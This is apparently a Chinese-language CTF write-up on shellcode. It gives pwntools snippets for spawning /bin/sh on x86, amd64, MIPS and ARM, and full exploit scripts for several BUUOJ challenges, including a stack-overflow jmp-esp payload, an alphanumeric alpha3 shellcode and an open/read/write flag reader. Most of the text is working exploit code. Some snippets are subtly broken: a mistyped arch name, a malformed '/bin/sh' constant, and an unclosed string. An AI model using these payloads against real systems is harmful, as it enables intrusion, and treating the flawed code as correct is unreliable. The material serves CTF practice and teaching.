原理
在pwn中shellcode利用方式一般为触发中断(int 0x80 或 syscall)来进行系统调用
system("/bin/sh"),实际上就是调用execve("/bin/sh",0,0)
示例程序
1 2 3 4 5 6
| #include<stdio.h> int main(){ system("/bin/sh"); exit(0); }
|
syscall 调用表
https://publicki.top/syscall.html
32位
1 2 3
| from pwn import * context(log_level= 'debug',arch='1386',os='linux') shellcode = asm(shellcraft.sh())
|
64位
1 2 3
| from pwn import * context(log_level= 'debug',arch='amd64',os='linux') shellcode = asm(shellcraft.sh())
|
mips
1 2 3
| from pwn import * context(log_level= 'debug',arch='mips',os='linux') shellcode = asm(shellcraft.mips.linux.sh())
|
arm
1 2 3
| from pwn import * context(log_level= 'debug',arch='aarch64',os='linux') shellcode = asm(shellcraft.aarch64.linux.sh())
|
坑
在运行生成mips和arm架构的shellcode时会有一系列的报错
这里给出解决方案
git clone https://github.com/Gallopsled/pwntools-binutils
cd pwntools-binutils/ubuntu
chmod +x install_all.sh
./install_all.sh arm
例题
mrctf2020_shellcode
从ida中我们可以看到,程序的功能为读入0x400字节,然后执行读入的内容
同时栈上有可执行权限
那接下来编写exp
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import * context.arch = 'amd64' context.log_level = 'debug' context.os = 'linux'
sh = remote("node4.buuoj.cn",26936)
shellcode = asm(shellcraft.sh()) shellcode1 = ''' mov rbx, 0x68732f6e6922f push rbx push rsp pop rdi xor esi,esi xor edx,edx push 0x3b pop rax syscall ''' shellcode1 = asm(shellcode1) sh.recvuntil('Show me your magic!')
sh.send(shellcode)
sh.interactive()
|
但是在CTF比赛中往往会对输入长度进行限制所以有时也需要自己编写shellcode
mrctf2020_shellcode_revenge
本题与上一题相似,不过却只能用可见字符构造shellcode,这里使用alpha3来生成
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| ```python from pwn import *
r = remote("node4.buuoj.cn", 29931) context(arch = 'amd64', os = 'linux', log_level = 'debug') r.recvuntil("Show me your magic!\n")
shellcode1 = ''' mov rbx, 0x68732f6e6922f push rbx push rsp pop rdi xor esi,esi xor edx,edx push 0x3b pop rax syscall
shellcode1 = asm(shellcode1) print(shellcode1) payload1 = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
payload = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M150m0M0R2o7O2q0H0k10030O2J142M0H2N160Y0m0H18140l07121L0m0L121M0c7L0m1O0m0N0V0o11010H2L130R2j0l0l2t100Q0m0J110y2Z0m' r.send(payload1)
r.interactive()
|
ciscn_s_6
IDA分析
思路
pwn函数存在明显的栈溢出,我们可以通过读入shellcode并将返回地址覆盖为jmp esp之后去调用之前的shellcode
由于输入长度限制,本题需手写shellcode
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import *
ret_addr = 0x8048554
r = remote("node4.buuoj.cn", 26139)
context(arch = 'i386', os = 'linux', log_level = 'debug')
shellcode =''' xor eax,eax xor edx,edx push edx push 0x68732f2f push 0x6e69622f mov ebx,esp xor ecx,ecx mov al,0xb int 0x80 '''
shellcode=asm(shellcode) print(len(shellcode)) payload = shellcode.ljust(0x20,b'\x00') + p32(0) +p32(ret_addr) + asm("sub esp,40;call esp")
r.sendline(payload)
r.interactive()
|
pwnable_orw
题目分析
查看沙盒
发现只能使用open,read,write,那么我们就可以通过open(file)+read(file)+write(file)来实现任意文件读取
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import *
io = remote('node3.buuoj.cn',25539)
context.binary = 'orw' elf = ELF('orw')
shellcode = shellcraft.open('/flag') shellcode += shellcraft.read('eax','esp',100) shellcode += shellcraft.write(1,'esp',100) shellcode = asm(shellcode)
sleep(0.2) io.sendline(shellcode)
io.interactive()
|